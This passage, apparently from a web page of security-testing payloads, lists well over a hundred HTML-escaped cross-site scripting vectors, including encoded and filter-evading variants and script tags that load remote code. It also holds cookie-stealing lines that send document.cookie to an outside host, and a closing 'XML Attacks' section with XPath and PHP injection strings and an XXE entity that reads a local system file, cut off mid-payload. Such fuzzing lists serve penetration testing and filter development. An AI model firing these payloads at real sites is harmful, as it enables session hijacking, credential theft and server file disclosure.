&quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo 